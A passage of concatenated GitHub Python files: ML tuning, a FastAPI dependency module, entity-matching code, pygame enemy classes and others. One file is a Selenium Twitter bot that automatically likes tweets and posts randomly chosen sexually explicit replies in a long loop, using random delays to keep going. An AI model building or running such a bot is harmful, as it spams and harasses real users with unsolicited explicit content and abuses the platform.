\n\n\n","repo_name":"Hugh-SEOUL/Doodling-note","sub_path":"22_03_24_01.py","file_name":"22_03_24_01.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10068644198","text":"#!/usr/bin/env python3\n\"\"\" Run Linear Regression\n\"\"\"\nimport optuna\nimport pandas as pd\nimport pathlib\nfrom sklearn import metrics\nfrom sklearn.linear_model import LinearRegression\n\n\ndef read_in_data(year):\n \"\"\" Read in training data and return\n\n Args:\n year: int type for\n\n Returns:\n years: a list of year indicated\n data_X:\n data_y:\n \"\"\"\n base = pathlib.Path('../../data/std_data')\n train_X = pd.read_pickle(base / \"train\" / f\"{year}_x.pkl\") # noqa: N806\n train_y = pd.read_pickle(base / \"train\" / f\"{year}_y.pkl\")\n test_X = pd.read_pickle(base / \"test\" / f\"{year}_x.pkl\") # noqa: N806\n test_y = pd.read_pickle(base / \"test\" / f\"{year}_y.pkl\")\n\n return train_X, train_y, test_X, test_y\n\n\ndef calculate_auc(test, pred):\n fpr, tpr, _ = metrics.roc_curve(test, pred)\n return metrics.auc(fpr, tpr)\n\n\ndef train(params):\n pred_y = pd.DataFrame()\n ans_y = pd.DataFrame()\n\n model = LinearRegression(fit_intercept=params[\"linear_fit_intercept\"],\n normalize=params[\"linear_normalize\"])\n\n for year in range(1978, 2020):\n train_X, train_y, test_X, test_y = read_in_data(year) # noqa: N806\n model.fit(train_X, train_y)\n pred_y = pd.concat([pred_y, pd.DataFrame(model.predict(test_X))])\n ans_y = pd.concat([ans_y, pd.DataFrame(test_y)])\n return ans_y, pred_y\n\n\ndef objective(trail):\n \"\"\" Optuna objective parameter tuning function\n \"\"\"\n linear_fit_intercept = (\n trail.suggest_categorical(\"linear_fit_intercept\", [True, False]))\n linear_normalize = (\n trail.suggest_categorical(\"linear_normalize\", [True, False]))\n\n params = {\n \"linear_fit_intercept\": linear_fit_intercept,\n \"linear_normalize\": linear_normalize,\n }\n\n test_y, pred_y = train(params)\n\n negative_auc = calculate_auc(test_y, pred_y) * (-1)\n return negative_auc\n\n\ndef main():\n \"\"\" Main function to tune the variable\n\n Args:\n NA\n\n Returns:\n NA\n \"\"\"\n study = optuna.create_study()\n study.optimize(objective, n_trials=100)\n # best param after 10 trainings\n # auc = 0.6541279233586925\n param = {\n \"linear_fit_intercept\": True,\n \"linear_normalize\": False,\n }\n param = study.best_params\n test_y, pred_y = train(param)\n print(calculate_auc(test_y, pred_y))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kondounagi/japanese_movies_dataset","sub_path":"neo_review/scripts/linear/run_linear.py","file_name":"run_linear.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15556359930","text":"#! /usr/bin/env python\n# coding: utf-8\n\nimport subprocess as sp\nimport os\n\ndef main():\n get_tenki = os.path.join(os.path.dirname(os.path.abspath(__file__)),\"patch/tenki/get_tenki.py\")\n tenki_txt = os.path.join(os.path.dirname(os.path.abspath(__file__)),\"patch/tenki/tenki.txt\")\n\n speak0_py = os.path.join(os.path.dirname(os.path.abspath(__file__)),\"speak0.py\")\n wav_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),\"wav/*.wav\")\n\n sp.call(\"python3 {0}\".format(get_tenki), shell=True)\n sp.call(\"python3 {0} -i {1}\".format(speak0_py, tenki_txt), shell=True)\n sp.call(\"rm {0}\".format(wav_path), shell=True)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kuromatia/AnaClaraBot","sub_path":"runner_navi.py","file_name":"runner_navi.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72993129106","text":"import os\nope = os.path.exists\nopj = os.path.join\nimport numpy as np\nimport socket\nimport warnings\nwarnings.filterwarnings('ignore')\nfrom argparse import Namespace\n\nsk = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nhostname = socket.gethostname()\nDIR_CFGS = Namespace()\nDIR_CFGS.RESULT_DIR = '/home/trangle/HPA_SingleCellClassification/team1_bestfitting/result'\nDIR_CFGS.MODEL_DIR = '/home/trangle/HPA_SingleCellClassification/team1_bestfitting/models'\nDIR_CFGS.FEATURE_DIR = '/home/trangle/HPA_SingleCellClassification/team1_bestfitting/features'\nDIR_CFGS.DATA_DIR = '/data/kaggle-dataset/CAM_images'\nDIR_CFGS.PRETRAINED_DIR = '/home/trangle/HPA_SingleCellClassification/team1_bestfitting/pretrained'\n\nNUC_MODEL = f'{DIR_CFGS.PRETRAINED_DIR}/nuclei_model.pth'\nCELL_MODEL = f'{DIR_CFGS.PRETRAINED_DIR}/cell_model.pth'\n\nPI = np.pi\nINF = np.inf\nEPS = 1e-12\n\nID = 'ID'\nLABEL = 'Label'\nWIDTH = 'ImageWidth'\nHEIGHT = 'ImageHeight'\nTARGET = 'PredictionString'\nCELL_LINE = 'Cellline'\nANTIBODY = 'Antibody'\nANTIBODY_LABEL = 'AntibodyLabel'\n\nNUM_CLASSES = 19\nML_NUM_CLASSES = 20000\n\nNEGATIVE = 18\nLABEL_TO_NAME = {\n 0: 'Nucleoplasm',\n 1: 'Nuclear membrane',\n 2: 'Nucleoli',\n 3: 'Nucleoli fibrillar center',\n 4: 'Nuclear speckles',\n 5: 'Nuclear bodies',\n 6: 'Endoplasmic reticulum',\n 7: 'Golgi apparatus',\n 8: 'Intermediate filaments',\n 9: 'Actin filaments',\n 10: 'Microtubules',\n 11: 'Mitotic spindle',\n 12: 'Centrosome',\n 13: 'Plasma membrane',\n 14: 'Mitochondria',\n 15: 'Aggresome',\n 16: 'Cytosol',\n 17: 'Vesicles and punctate cytosolic patterns',\n NEGATIVE: 'Negative',\n}\nLABEL_TO_ALIAS = {\n 0: 'Nucleoplasm',\n 1: 'NuclearM',\n 2: 'Nucleoli',\n 3: 'NucleoliFC',\n 4: 'NuclearS',\n 5: 'NuclearB',\n 6: 'EndoplasmicR',\n 7: 'GolgiA',\n 8: 'IntermediateF',\n 9: 'ActinF',\n 10: 'Microtubules',\n 11: 'MitoticS',\n 12: 'Centrosome',\n 13: 'PlasmaM',\n 14: 'Mitochondria',\n 15: 'Aggresome',\n 16: 'Cytosol',\n 17: 'VesiclesPCP',\n NEGATIVE: 'Negative',\n}\nNAMES = [LABEL_TO_NAME[i] for i in range(NUM_CLASSES)]\nALIASES = [LABEL_TO_ALIAS[i] for i in range(NUM_CLASSES)]\n\nCOLORS = ['red', 'green', 'blue', 'yellow']","repo_name":"trangle1302/HPA_SingleCellClassification_Analysis","sub_path":"team1_bestfitting/predict/config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"2988685391","text":"# %%\nfrom src.models import modelTools\nfrom src.visualization import segmentationVis\n# %%\npredictor = modelTools.getSegmentModel('../models/TJ2201Split16')\n\n# %%\ndataPath = '../data/TJ2201/split16/phaseContrast/phaseContrast_C4_4_2022y04m06d_12h00m_14.png'\n\nsegmentationVis.viewPredictorResult(predictor, dataPath)\n\n# %%\nimport numpy as np\ndatasetDicts = np.load('../data/TJ2201/split16/TJ2201DatasetDictCopy.npy', allow_pickle=True)\n# %%\nallWells = []\nfor imgSeg in datasetDicts:\n fileName = imgSeg['file_name']\n allWells.append(fileName.split('_')[1])\n\n\nmonoPos = ['B2','B3','B4','B5','B6','C2','C3','C4','C5','C6','D2','D3','D4','D5','D6']\nmonoNeg = ['E2','E3','E4','E5','E6','F2','F3','F4','F5','F6','G2','G3','G4','G5','G6']\nco = ['B7','B8','B9','B10','B11','C7','C8','C9','C10','C11','D7','D8','D9','D10','D11','E7','E8','E9','E10','E11']\n\nprint(set(allWells))","repo_name":"TylerJost/cellMorph","sub_path":"notebooks/testSegmentation.py","file_name":"testSegmentation.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12152786406","text":"import typing as t\n\nimport authlib.integrations.starlette_client\nimport fastapi\nfrom fastapi import Request\nfrom kafka import KafkaAdminClient\nfrom pydantic import BaseSettings\n\nfrom deepchecks_monitoring.exceptions import BadRequest, ContentLengthRequired, RequestTooLarge\nfrom deepchecks_monitoring.integrations.email import EmailSender\n\nif t.TYPE_CHECKING:\n from deepchecks_monitoring.monitoring_utils import ExtendedAsyncSession\n from deepchecks_monitoring.resources import ResourcesProvider\n\n__all__ = [\n \"AsyncSessionDep\",\n \"limit_request_size\",\n \"KafkaAdminDep\",\n \"SettingsDep\",\n \"DataIngestionDep\",\n \"CacheFunctionsDep\",\n \"ResourcesProviderDep\"\n]\n\n\nasync def get_async_session(request: fastapi.Request) -> t.AsyncIterator[\"ExtendedAsyncSession\"]:\n \"\"\"Get async sqlalchemy session instance.\n\n Parameters\n ----------\n request : fastapi.Request\n request instance\n\n Returns\n -------\n AsyncIterator[AsyncSession]\n async sqlalchemy session instance\n \"\"\"\n resources_provider = t.cast(\"ResourcesProvider\", request.app.state.resources_provider)\n async with resources_provider.create_async_database_session() as session:\n yield session\n\n\ndef get_kafka_admin(request: fastapi.Request) -> t.Optional[KafkaAdminClient]:\n resources_provider = t.cast(\"ResourcesProvider\", request.app.state.resources_provider)\n return resources_provider.kafka_admin\n\n\ndef get_settings(request: fastapi.Request) -> BaseSettings:\n state = request.app.state\n return state.settings\n\n\ndef get_data_ingestion_backend(request: fastapi.Request):\n state = request.app.state\n return state.data_ingestion_backend\n\n\ndef get_cache_functions(request: fastapi.Request):\n state = request.app.state\n return state.resources_provider.cache_functions\n\n\ndef get_host(request: fastapi.Request) -> str:\n settings = request.app.state.settings\n return settings.host\n\n\ndef get_resources_provider(request: fastapi.Request) -> \"ResourcesProvider\":\n return t.cast(\"ResourcesProvider\", request.app.state.resources_provider)\n\n\nAsyncSessionDep = fastapi.Depends(get_async_session)\nKafkaAdminDep = fastapi.Depends(get_kafka_admin)\nSettingsDep = fastapi.Depends(get_settings)\nDataIngestionDep = fastapi.Depends(get_data_ingestion_backend)\nCacheFunctionsDep = fastapi.Depends(get_cache_functions)\nResourcesProviderDep = fastapi.Depends(get_resources_provider)\n\n# Examples of how to use those dependencies:\n#\n# >>> class PersonCreationSchema(pydantic.BaseModel):\n# ... name: str\n# ... age: int\n# ... last_name: str = \"\"\n#\n# >>> @router.post(\"/person\", status_code=http_status.HTTP_201_CREATED)\n# ... async def create_person_entity(\n# ... person: PersonCreationSchema,\n# ... session: AsyncSession = AsyncSessionDep # < Session dependency\n# ... ):\n# ... statement = Person.insert().returning(Person.id)\n# ... result = await session.execute(statement, person.dict())\n# ... await session.commit()\n\n\ndef limit_request_size(size: int) -> t.Callable[[Request], None]:\n \"\"\"Return a dependency function which validates content size is limited to the given size in bytes.\n\n Parameters\n ----------\n size: int\n Maximum size for the http content in bytes\n\n Returns\n -------\n Request\n \"\"\"\n def dependency(request: Request):\n if \"content-length\" not in request.headers:\n raise ContentLengthRequired(\"Content-length header value is required\")\n\n try:\n content_length = int(request.headers[\"content-length\"])\n except ValueError as e:\n raise BadRequest(\"Content-length header value must be an integer\") from e\n\n if content_length > size:\n mb = size / (1024 * 1024)\n raise RequestTooLarge(f\"Maximum allowed content-length is {mb} MB\")\n\n return dependency\n\n\ndef get_oauth_resource(request: fastapi.Request) -> t.Callable[[Request], authlib.integrations.starlette_client.OAuth]:\n \"\"\"Return OAuth resource dependency resolver.\"\"\"\n resources_provider = t.cast(\"ResourcesProvider\", request.app.state.resources_provider) # noqa: F821\n return resources_provider.oauth_client\n\n\ndef get_email_sender_resource(request: fastapi.Request) -> EmailSender:\n \"\"\"Return email sender resource dependency resolver.\"\"\"\n resources_provider = t.cast(\"ResourcesProvider\", request.app.state.resources_provider) # noqa: F821\n return resources_provider.email_sender\n","repo_name":"deepchecks/monitoring","sub_path":"backend/deepchecks_monitoring/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"26221970459","text":"import re\nimport dataset\n\n\ndef postfix_split(brand, model, postfixes):\n \"\"\"\n 考虑某型号的后缀将其分离。如1d和1dx\n \"\"\"\n\n postfix_dict = {model: []}\n\n for postfix in postfixes:\n postfix_dict[model+postfix] = []\n product_list = dataset.model_index[brand][model]\n for product in product_list:\n has_postfix = False\n for postfix in postfixes:\n reg_ext = re.compile(model[0] + r'[ ]?' + model[1] + r'[- ]?' + postfix, re.I)\n if reg_ext.search(dataset.all_data[product].get('')):\n postfix_dict[model+postfix].append(product)\n has_postfix = True\n break\n if not has_postfix:\n postfix_dict[model].append(product)\n\n\n for new_model, model_list in postfix_dict.items():\n dataset.model_index[brand][new_model] = model_list\n\n\n\ndef generation_split(brand, model, *spec_generations):\n \"\"\"\n Split generations I, II, III, IV\n \"\"\"\n\n product_list = dataset.model_index[brand][model]\n generation_dict = {model: []}\n generation_transfer = [(4, 'IV'), (3, 'III'), (2, 'II')]\n for generation in generation_transfer:\n # print(generation[1]) # IV III II\n generation_dict[model + ' MARK ' + generation[1]] = []\n for spec_generation in spec_generations:\n generation_dict[model + ' ' + spec_generation] = []\n\n\n for product in product_list:\n product_page_title = dataset.all_data[product].get('')\n is_spec = False\n for spec_generation in spec_generations:\n reg_ext = re.compile(spec_generation, re.I)\n if reg_ext.search(product_page_title):\n generation_dict[model + ' ' + spec_generation].append(product)\n is_spec = True\n break\n if is_spec:\n continue\n has_generation = False\n for generation in generation_transfer:\n # print(generation)\n reg_ext = re.compile('((MARK)|(MK))[ ]?(({})|({}))'\n .format(generation[0], generation[1]), re.I)\n if reg_ext.search(product_page_title):\n generation_dict[model + ' MARK ' + generation[1]].append(product)\n has_generation = True\n break\n if not has_generation:\n generation_dict[model].append(product)\n # file.close()\n\n for new_model, model_list in generation_dict.items():\n dataset.model_index[brand][new_model] = model_list\n\n\n\ndef split_brand():\n postfix_split('Canon', '1D', ['X', 'C', 'S'])\n postfix_split('Canon', 'G7', ['X'])\n generation_split('Canon', '1D', 'Mark II N')\n generation_split('Canon', '1DS')\n generation_split('Canon', '5D')\n generation_split('Canon', '7D')\n generation_split('Canon', 'G1')\n\n","repo_name":"LUUUAN/EntityMatching_SIGMOD_2020_Contest","sub_path":"python version/split_brand.py","file_name":"split_brand.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"23872618755","text":"from selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom getpass import getpass\nimport time \nimport numpy\n\n\ndriver = webdriver.Chrome(executable_path='/home/chris/Desktop/InstagramAuto/chromedriver')\ndriver.get('https://twitter.com/home')\n\nusername = input(\"Enter in your username: \")\npassword = getpass(\"Enter your password: \")\n\nusername_textbox = driver.find_element_by_name('session[username_or_email]')\nusername_textbox.send_keys(username)\n\npassword_textbox = driver.find_element_by_name('session[password]')\npassword_textbox.send_keys(password)\n\nlogin_button = driver.find_element_by_xpath('//*[@id=\"react-root\"]/div/div/div[2]/main/div/div/form/div/div[3]/div/div')\nlogin_button.submit()\n\ntime.sleep(4)\n\n# defines comment possibilites. comments can be added w/o updating code below because of random int function\ncomments = ['Damn that looks good', 'fuck, i wish that was me', 'who wants to dick me down', \n'that dick looks tastey asf', 'omg thats hot daddy', 'imagine ;)','thats so fucking sexy',\n 'i want you to do dirty things to me', 'dm me you might get something special ;)', \n 'if only... ;)', 'omfg thats hot!!!', 'this makes me want to get my ass ate lmao ', \n 'this makes me want to get my pussy destroyed holy shit', 'if only i had some big black dick to ravage this pussy',\n 'you + me alone in a room = lots of fun ;) thats the only equation i know', 'im dripping... ', \n 'i want to cum on someones face tbh', 'if only i had a face to ride smh. wheres daddy', \n 'do you ever just scroll through twitter porn at work while ur panties get soaking wet bc um me lmao', 'im so hot rn', \n 'wish i could take my pants off rn and play w my pussy but im in public :((', 'anyone else get random horny thoughts cuz same',\n 'this post is making me think dirty things... oops', 'what did i do to be left horny and alone :( ima go cry and masturbate', \n 'my hearing is at 100x magnification... that means im rubbing on my pussy lmao', \n 'rubbing my pussy gives me super hearing lmao cant be getting caught', 'this is good content... but mines better ;)',\n 'do you ever get the horny shakes cuz same', 'man oh man my nipples are getting hard asf... fuck', '😍😍😍😍', '😍😍😍', \n '😍😍', '😍', '😍😍😍😍', '😍😍😍', '😍😍', '😍', '😍😍😍😍', '😍😍😍', '😍😍', '😍', '😍😍😍😍', '😍😍😍', '😍😍', '😍',\n '😍😍😍😍', '😍😍😍', '😍😍', '😍', '😍😍😍😍', '😍😍😍', '😍😍', '😍','😍😍😍😍', '😍😍😍', '😍😍', '😍','😍😍😍😍', '😍😍😍', '😍😍', '😍'] \n\n# searches for like buttons and automatically turns into a list \ndef find_like_buttons():\n like_buttons = driver.find_elements_by_xpath(\"//div[@data-testid='like']\")\n\n#finds comment buttons\ndef find_comment_buttons():\n comment_buttons = driver.find_elements_by_xpath(\"//div[@data-testid='reply']\")\n \n # finds the only comment field on the page once comment button is clicked\ndef find_comment_field():\n comment_field = driver.find_element_by_xpath(\"//div[@data-testid='tweetTextarea_0']\")\n\n #finds and defines reply button once comment_buttons has been clicked\ndef find_reply_button():\n reply_button = driver.find_element_by_xpath(\"//div[@data-testid='tweetButton']\")\n\n#scrolls down the page\ndef scrollbottom():\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n\n# this didnt really work only liked abt 5-8 posts before breaking. \ndef feed_auto_like(x):\n likes = 0\n scrollbottom()\n time.sleep(5)\n scrollbottom()\n time.sleep(5)\n scrollbottom()\n driver.execute_script(\"window.scrollTo(0, 0);\")\n time.sleep(10)\n like_buttons = list(driver.find_elements_by_xpath(\"//div[@data-testid='like']\"))\n while likes < x:\n driver.execute_script(\"arguments[0].scrollIntoView();\", like_buttons[likes])\n driver.execute_script(\"arguments[0].click();\", like_buttons[likes])\n likes += 1\n like_buttons.append(driver.find_elements_by_xpath(\"//div[@data-testid='like']\"))\n print(likes, 'Sucessful Likes')\n time.sleep(5) \n \n\n\n# will comment and like posts through feed\ndef feed_inter(x):\n inter = 0 # declares the counter\n while inter < x:\n try: #everything is in a try loop to catch all errors and continue regardless\n time.sleep(numpy.random.randint(low= 2, high= 6)) # random sleep inorder to create a time gap between loops\n\n # declares tweet as the code necessary to find a tweet\n tweet = driver.find_element_by_xpath(\"//*[@id='react-root']/div/div/div[2]/main/div/div/div/div/div/div[4]/div/div/section/div/div/div/div[1]/div/div/div/div/article/div/div[2]/div[1]\")\n time.sleep(1)\n tweet \n tweet.click() #clicks on the tweet element\n \n time.sleep(numpy.random.randint(low= 2, high= 6)) # random sleep again just so that everything isnt as predicatable (idk if that was necessary but added complexity to the code to make it a bit more challanging)\n \n like_button = driver.find_element_by_xpath(\"//div[@data-testid='like']\") #sets variable = to code that finds like button element\n like_button #finds like button element\n like_button.click() #clicks element\n \n comment_button = driver.find_element_by_xpath(\"//div[@data-testid='reply']\") \n comment_button #finds reply button\n comment_button.click() #clicks reply button\n \n \n comment_field = driver.find_element_by_xpath(\"//div[@data-testid='tweetTextarea_0']\") #finds and declares comment_field? im not sure if when you set a variable = to a path if it calls it without having to state that variable on a seperate line lol... seems like it worked here.\n comment_selector = numpy.random.randint(low = 0, high = len(comments) -1) # pretty proud of this one: declares a variable that will randomly select a comment (note i set it so that the highest comment is the len of the list -1 so if i add more comment possibilities i dont have to go back and change it here)\n comment_field.send_keys(comments[comment_selector]) # sends random comment to comment field\n\n time.sleep(numpy.random.randint(low= 2, high= 6)) # random sleep\n\n reply_button = driver.find_element_by_xpath(\"//div[@data-testid='tweetButton']\") # finds the actual button named reply\n reply_button # calling the variable just to be sure\n reply_button.click() # clicking the element \n\n\n time.sleep(numpy.random.randint(low= 1, high= 5)) #random sleep\n\n back_button = driver.find_element_by_xpath(\"//*[@id='react-root']/div/div/div[2]/main/div/div/div/div/div/div[1]/div[1]/div/div/div/div/div[1]/div\") # finds back button\n back_button #called it just incase\n back_button.click() # clicks that back button\n\n time.sleep(numpy.random.randint(low= 1, high= 5)) #random sleep\n\n driver.get('https://twitter.com/home') #reloads the page\n\n time.sleep(numpy.random.randint(low= 40, high= 60)) # random long sleep to allow new posts to generate seeing that the function just targets the first post\n\n driver.get('https://twitter.com/home') # refreshes one more time before starting the loop over again\n\n\n inter += 1 # adds one to variable inter which is used to control how long the while loop goes for. \n\n print(inter, 'Sucessful Interactions') # inter is also used to spit out a counter to the terminal for the user\n except Exception: # pretty much if any error occurs it'll just refresh the page a few times and wait then continue which will continue the for loop. essentially just refreshes home page and waits if any error occurs\n print('an error occured. I will attempt to reload and try again')\n \n driver.get('https://twitter.com/home')\n\n time.sleep(60)\n \n driver.get('https://twitter.com/home')\n\n print(Exception) #this didnt fucking work lmao. i was hoping id be able to see the FULL error AND get it to continue without stopping \n\n continue\n\n\n\n\nfeed_inter(999999) # calls the function above w the argument being how many \"interactions\" or loops you'd like the function to do :) ","repo_name":"ExZerminator/TwitterBot-v1.0","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":8430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29417833030","text":"import pygame\nfrom .constants import GameConstants\nimport random\nfrom .spritesheet import Spritesheet\nimport math\nimport os\nimport csv\n\n\nclass EnemyFireBall():\n def __init__(self, scale, direction):\n self.load_frames(scale)\n self.x_camera = 0\n self.rect = self.frames_right[0].get_rect()\n self.current_frame = 0\n self.last_updated = 0\n self.current_image = self.frames_right[0]\n self.shoot = False\n self.direction = direction # 'left', 'right', 'up', 'down'\n self.fireball_speed = 1.2\n\n def checkcollision(self, tiles):\n for tile in tiles:\n if self.rect.colliderect(tile):\n self.shoot = False\n return\n\n def player_collision(self, player):\n if self.rect.colliderect(player.rect):\n player.health -= 10 # Adjust the damage value as needed\n self.shoot = False\n return True\n return False\n\n def draw(self, display, x, y, tiles, player):\n self.update(x, self.direction, player)\n self.checkcollision(tiles)\n display.blit(self.current_image, (self.rect.x + x, self.rect.y + y))\n\n def update(self, x, direction, player):\n\n self.x_camera = x\n if direction == 'right':\n self.rect.x += self.fireball_speed\n if self.rect.x > GameConstants.GAMEWIDTH - x:\n self.shoot = False\n elif direction == 'left':\n self.rect.x -= self.fireball_speed\n if self.rect.x < -x:\n self.shoot = False\n elif direction == 'up':\n self.rect.y -= self.fireball_speed\n if self.rect.y < -x:\n self.shoot = False\n elif direction == 'down':\n self.rect.y += self.fireball_speed\n if self.rect.y > GameConstants.GAMEHEIGHT - x:\n self.shoot = False\n self.animate(direction)\n\n def animate(self, direction):\n now = pygame.time.get_ticks()\n if now - self.last_updated > 50:\n self.last_updated = now\n self.current_frame = (self.current_frame +\n 1) % len(self.frames_right)\n if direction == 'left':\n self.current_image = self.frames_left[self.current_frame]\n elif direction == 'right':\n self.current_image = self.frames_right[self.current_frame]\n elif direction == 'up':\n self.current_image = self.frames_up[self.current_frame]\n elif direction == 'down':\n self.current_image = self.frames_down[self.current_frame]\n\n def load_frames(self, scale):\n my_spritesheet = Spritesheet('assets/fireball/fireball.png', scale)\n self.frames_right = [my_spritesheet.parse_sprite(\"FB001.png\"), my_spritesheet.parse_sprite(\"FB002.png\"),\n my_spritesheet.parse_sprite(\n \"FB003.png\"), my_spritesheet.parse_sprite(\"FB004.png\"),\n my_spritesheet.parse_sprite(\"FB005.png\")]\n self.frames_left = [pygame.transform.flip(\n frame, True, False) for frame in self.frames_right]\n self.frames_up = [pygame.transform.rotate(\n frame, 90) for frame in self.frames_right]\n self.frames_down = [pygame.transform.rotate(\n frame, 270) for frame in self.frames_right]\n\n\nclass HomingFireBall(EnemyFireBall):\n def __init__(self, scale, direction, target, smoothness=0.002):\n super().__init__(scale, direction)\n self.target = target\n self.smoothness = smoothness\n self.velocity = pygame.math.Vector2(0, 0)\n self.rect.x = target.rect.x + random.randint(-300, 300)\n self.rect.y = 0\n self.position = pygame.math.Vector2(self.rect.x, self.rect.y)\n\n def update(self, x, direction, player):\n self.x_camera = x\n dx = self.target.rect.x - self.position.x\n dy = self.target.rect.y - self.position.y\n\n distance = math.sqrt(dx * dx + dy * dy)\n if distance > 0:\n desired_velocity = pygame.math.Vector2(\n dx / distance * self.fireball_speed, dy / distance * self.fireball_speed)\n self.velocity = self.velocity.lerp(\n desired_velocity, self.smoothness)\n self.position.x += self.velocity.x\n self.position.y += self.velocity.y\n\n self.rect.x = int(self.position.x)\n self.rect.y = int(self.position.y)\n\n self.player_collision(player)\n self.animate(direction)\n\n\nclass Character(pygame.sprite.Sprite):\n def __init__(self, x=0, y=0, width=32, height=48, max_health=200, attack_range=50, attack_cooldown=1000):\n pygame.sprite.Sprite.__init__(self)\n self.position, self.velocity = pygame.math.Vector2(x, y), pygame.math.Vector2(0, 0)\n self.gravity, self.friction = 0.35, -0.12\n self.acceleration = pygame.math.Vector2(0, self.gravity)\n self.on_ground = False\n\n # Attributes\n self.health = max_health\n self.max_health = max_health\n self.state = 'idle'\n self.attack_range = attack_range\n self.attack_cooldown = attack_cooldown\n self.last_attack = 0\n\n def update(self, dt, tiles, player,csv):\n self.handle_ai(dt, player,tiles,csv)\n self.animate()\n self.horizontal_movement(dt)\n self.check_collisions_x(tiles)\n self.vertical_movement(dt)\n self.check_collisions_y(tiles)\n # self.test(tiles,csv)\n def handle_ai(self, dt, player,tiles,csv):\n # Override this method in subclasses to implement AI behavior\n pass\n\n def attack(self, player):\n player.health -= 10\n self.position.x = player.position.x+1\n self.position.y = player.position.y\n if player.health < 0:\n player.health = 0\n self.last_attack = pygame.time.get_ticks()\n\n def horizontal_movement(self, dt):\n self.velocity.x += self.acceleration.x * dt\n self.limit_velocity(1)\n self.position.x += self.velocity.x * dt\n self.rect.x = self.position.x\n\n def vertical_movement(self, dt):\n self.velocity.y += self.acceleration.y * dt\n if self.velocity.y > 7:\n self.velocity.y = 7\n self.position.y += self.velocity.y * dt + \\\n (self.acceleration.y * .2) * (dt * dt)\n self.rect.bottom = self.position.y\n\n def limit_velocity(self, max_vel):\n self.velocity.x = max(-max_vel, min(self.velocity.x, max_vel))\n if abs(self.velocity.x) < .01:\n self.velocity.x = 0\n\n def get_hits(self, tiles):\n hits = []\n for tile in tiles:\n if self.rect.colliderect(tile):\n hits.append(tile)\n return hits\n\n def check_collisions_x(self, tiles):\n collisions = self.get_hits(tiles)\n for tile in collisions:\n if self.velocity.x > 0:\n self.position.x = tile.rect.left - self.rect.w\n elif self.velocity.x < 0:\n self.position.x = tile.rect.right\n self.rect.x = self.position.x\n\n def check_collisions_y(self, tiles):\n self.on_ground = False\n self.rect.bottom += 1\n collisions = self.get_hits(tiles)\n for tile in collisions:\n if self.velocity.y > 0:\n self.on_ground = True\n self.velocity.y = 0\n self.position.y = tile.rect.top\n elif self.velocity.y < 0:\n self.velocity.y = 0\n self.position.y = tile.rect.bottom + self.rect.h\n self.rect.bottom = self.position.y\n\n def draw_health_bar(self, surface):\n health_bar_width = self.rect.width\n health_bar_height = 5\n health_bar_x = self.rect.x\n health_bar_y = self.rect.y - health_bar_height - 2\n\n health_bar_filled = int(\n (self.health / self.max_health) * health_bar_width)\n\n health_bar_bg = pygame.Rect(\n health_bar_x, health_bar_y, health_bar_width, health_bar_height)\n health_bar_fill = pygame.Rect(\n health_bar_x, health_bar_y, health_bar_filled, health_bar_height)\n\n pygame.draw.rect(surface, (100, 100, 100), health_bar_bg)\n pygame.draw.rect(surface, (255, 0, 0), health_bar_fill)\n def animate(self):\n now = pygame.time.get_ticks()\n if self.state == 'moving right' or self.state == 'moving left':\n if now - self.last_updated > 50:\n self.last_updated = now\n self.current_frame = (self.current_frame + 1) % len(self.running_frames_left)\n if self.state == 'moving left':\n self.current_image = self.running_frames_left[self.current_frame]\n elif self.state == 'moving right':\n self.current_image = self.running_frames_right[self.current_frame]\n elif self.state == 'attack':\n # print(self.current_frame)\n if now - self.last_updated > 30:\n self.last_updated = now\n self.current_frame = (self.current_frame + 1) % len(self.attacking_frames_left)\n if self.state == 'attack':\n self.current_image = self.attacking_frames_left[self.current_frame]\n # elif self.state == 'attack' and not self.FACING_LEFT:\n # self.current_image = self.attacking_frames_right[self.current_frame]\n def load_frames(self):\n my_spritesheet = Spritesheet('assets/zombie/zombie.png',10)\n self.attacking_frames_right = [my_spritesheet.parse_sprite(\"Attack (1).png\"),my_spritesheet.parse_sprite(\"Attack (2).png\"),\n my_spritesheet.parse_sprite(\"Attack (3).png\"),my_spritesheet.parse_sprite(\"Attack (4).png\"),\n my_spritesheet.parse_sprite(\"Attack (5).png\"),my_spritesheet.parse_sprite(\"Attack (6).png\"),\n my_spritesheet.parse_sprite(\"Attack (7).png\"),my_spritesheet.parse_sprite(\"Attack (8).png\")]\n self.running_frames_right = [my_spritesheet.parse_sprite(\"Walk (1).png\"),my_spritesheet.parse_sprite(\"Walk (2).png\"),\n my_spritesheet.parse_sprite(\"Walk (3).png\"),my_spritesheet.parse_sprite(\"Walk (4).png\"),\n my_spritesheet.parse_sprite(\"Walk (5).png\"),my_spritesheet.parse_sprite(\"Walk (6).png\"),\n my_spritesheet.parse_sprite(\"Walk (7).png\"),my_spritesheet.parse_sprite(\"Walk (8).png\"),\n my_spritesheet.parse_sprite(\"Walk (9).png\"),my_spritesheet.parse_sprite(\"Walk (10).png\")]\n self.dead_frames_right = [my_spritesheet.parse_sprite(\"Dead (1).png\"),my_spritesheet.parse_sprite(\"Dead (2).png\"),\n my_spritesheet.parse_sprite(\"Dead 